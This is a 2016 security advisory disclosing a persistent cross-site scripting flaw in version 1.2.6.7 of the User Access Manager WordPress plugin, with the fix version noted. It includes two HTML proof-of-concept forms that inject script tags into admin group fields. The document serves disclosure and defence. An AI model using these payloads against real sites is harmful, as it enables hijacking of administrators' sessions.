WordPress User Access Manager plugin version 1.2.6.7 suffer from a cross site scripting vulnerability.
6922073e4128970a34c759af113c580b26f672963ff2a12e052ca6848ce12293------------------------------------------------------------------------
Persistent Cross-Site Scripting vulnerability in User Access Manager
WordPress Plugin
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Burak Kelebek, July 2016
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Abstract
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A persistent Cross-Site Scripting vulnerability has been encountered in
the User Access Manager WordPress Plugin. This issue allows an attacker
to perform a wide variety of actions, such as stealing Administrators'
session tokens, or performing arbitrary actions on their behalf. In
order to exploit this issue, the attacker has to lure/force a logged on
WordPress Administrator into opening a malicious website.
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OVE ID
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OVE-20160712-0025
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Tested versions
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This issue was successfully tested on the User Access Manager WordPress
Plugin version 1.2.6.7.
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Fix
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This issue is resolved in User Access Manager version 1.2.14.
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Details
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https://sumofpwn.nl/advisory/2016/persistent_cross_site_scripting_vulnerability_in_user_access_manager_wordpress_plugin.html
Persistent Cross-Site Scripting was found in admin panel 'manage' page of User Access Manager. Multiple parameters in POST uam_usergroup are affected due to insufficient output encoding. This issue allows an attacker to perform a wide variety of actions, such as stealing Administrators' session tokens, or performing arbitrary actions on their behalf. In order to exploit this issue, the attacker has to lure/force a logged on WordPress Administrator into opening a malicious website.
Proof of concept
<html>
<body>
<form action="http://<target>/wp-admin/admin.php?page=uam_usergroup" method="POST">
<input type="hidden" name="uamInsertUpdateGroupNonce" value="8657bd2424" />
<input type="hidden" name="_wp_http_referer" value="/wp-admin/admin.php?page=uam_usergroup" />
<input type="hidden" name="action" value="addGroup" />
<input type="hidden" name="userGroupName" value="as<script>alert(1)</script>" />
<input type="hidden" name="userGroupDescription" value="asd" />
<input type="hidden" name="ipRange" value="asd" />
<input type="hidden" name="readAccess" value="group" />
<input type="hidden" name="writeAccess" value="group" />
<input type="hidden" name="submit" value="Add user group" />
<input type="hidden" name="" value="" />
<input type="submit" value="Submit" />
</form>
</body>
</html>
<html>
<body>
<form action="http://<target>/wp-admin/admin.php?page=uam_usergroup" method="POST">
<input type="hidden" name="uamInsertUpdateGroupNonce" value="8657bd2424" />
<input type="hidden" name="_wp_http_referer" value="/wp-admin/admin.php?page=uam_usergroup" />
<input type="hidden" name="action" value="addGroup" />
<input type="hidden" name="userGroupName" value="sad" />
<input type="hidden" name="userGroupDescription" value="<script>alert(2)</script>" />
<input type="hidden" name="ipRange" value="asd" />
<input type="hidden" name="readAccess" value="group" />
<input type="hidden" name="writeAccess" value="group" />
<input type="hidden" name="submit" value="Add user group" />
<input type="submit" value="Submit" />
</form>
</body>
</html>
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projects in a fun and educational way.
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